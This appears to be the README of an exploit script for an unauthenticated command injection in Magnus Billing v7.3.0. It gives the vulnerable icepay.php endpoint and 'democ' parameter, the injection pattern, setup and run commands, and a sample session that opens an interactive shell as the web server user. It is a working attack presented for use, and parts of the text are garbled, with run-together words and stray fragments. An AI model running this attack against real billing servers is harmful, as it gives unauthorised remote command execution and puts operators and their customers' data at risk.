
Unauthenticated command injection vulnerability in Magnus Billing v7.3.0.
Unauthenticated command injection vulnerability in Magnus Billing v7.3.0. The
democGET parameter inicepay.phpis passed directly to a shell function without sanitization, allowing arbitrary command execution as the web server user. The injection is blind — output is not reflected in the HTTP response — so this exploit redirects each command's output to a file in the webroot and fetches it back over HTTP.
/mbilling/lib/icepay/icepay.php?democ=;<command>;.out.txt).If the target uses a different webroot path, adjust
OUTPUT_FILEat the top of the script.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Example:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data